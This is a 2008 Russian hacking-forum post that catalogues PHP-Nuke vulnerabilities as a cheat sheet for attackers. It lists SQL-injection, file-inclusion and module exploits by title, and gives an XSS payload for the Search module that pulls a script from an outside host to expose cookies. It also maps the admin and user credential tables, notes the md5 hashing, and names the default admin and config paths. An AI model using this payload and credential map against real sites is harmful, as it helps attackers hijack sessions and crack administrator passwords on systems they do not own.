Форум АНТИЧАТ - [ Обзор уязвимостей PHP-Nuke ]

[ Обзор уязвимостей PHP-Nuke ]

19.01.2008, 02:20

[53x]Shadow

Leaders of Antichat

Регистрация: 25.01.2007

Сообщений: 341

Провел на форуме:
3372120

Репутация: 2565

[ Обзор уязвимостей PHP-Nuke ]

Обзор уязвимостей PHP-Nuke.

[SQL-Injection]

PHP-Nuke <= 8.0 Final (HTTP Referers) Remote SQL Injection Exploit

PHP-Nuke <= 8.0 Final (INSERT) Remote SQL Injection Exploit

PHP-Nuke <= 8.0 Final (INSERT) Blind SQL Injection Exploit (mysql)

PHP-Nuke <= 7.9 (Encyclopedia) Remote SQL Injection Exploit

PHP-Nuke 7.5 - 7.8 (Search) Remote SQL Injection Exploit

PHP-Nuke <= 7.8 Search Module Remote SQL Injection Exploit

PHP-Nuke 7.8 SQL Injection / Remote Command Execution Exploit

PHP-Nuke <= 7.8 (modules.php) SQL Injection Exploit

[Remote File Inclusion]

PHP-Nuke Platinum 7.6.b.5 Remote File Inclusion Vulnerability

PHP-Nuke <= 7.9 Final (phpbb_root_path) Remote File Inclusions

[XSS]

PHP-Nuke versions: 8.0 (by ettee)

Example:

Код:

[target]/modules.php?name=Search&query=<script+src=http://someshit.net/xss.jpg+

xss.jpg:
alert (document.cookie);

PHP-Nuke versions: 7.8

Example:

Код:

http://site.com/?pagetitle=title

[Modules Vulns]

PHP-Nuke NSN Script Depository 1.0.0 Remote Source Disclosure Vuln

PHP-Nuke addon Nuke Mobile Entartainment LFI Vulnerability

PHP-Nuke Module eBoard 1.0.7 GLOBALS[name] LFI Exploit

PHP-Nuke Module Eve-Nuke 0.1 (mysql.php) RFI Vulnerability

PHP-Nuke Module Addressbook 1.2 Local File Inclusion Exploit

PHP-Nuke Module htmltonuke 2.0alpha (htmltonuke.php) RFI Vuln

PHP-Nuke Module splattforum 4.0 RC1 Local File Inclusion Exploit

PHP-Nuke Module PostGuestbook 0.6.1 (tpl_pgb_moddir) RFI Vulnerability

PHP-Nuke Module Emporium <= 2.3.0 Remote SQL Injection Exploit

PHP-Nuke NukeAI Module 3b (util.php) Remote File Include Exploit

[DB Structure]

(cms)

Код:

[nuke_authors]
name
email
pwd
radminsuper

Hash = md5(pwd)

(forum)

Код:

[nuke_users]
username
user_email
user_icq
user_password
user_newpasswd

Hash = md5(user_password)

[Default Paths]

Admin:

Код:

[target]/admin.php

Config:

Код:

[target]/config.php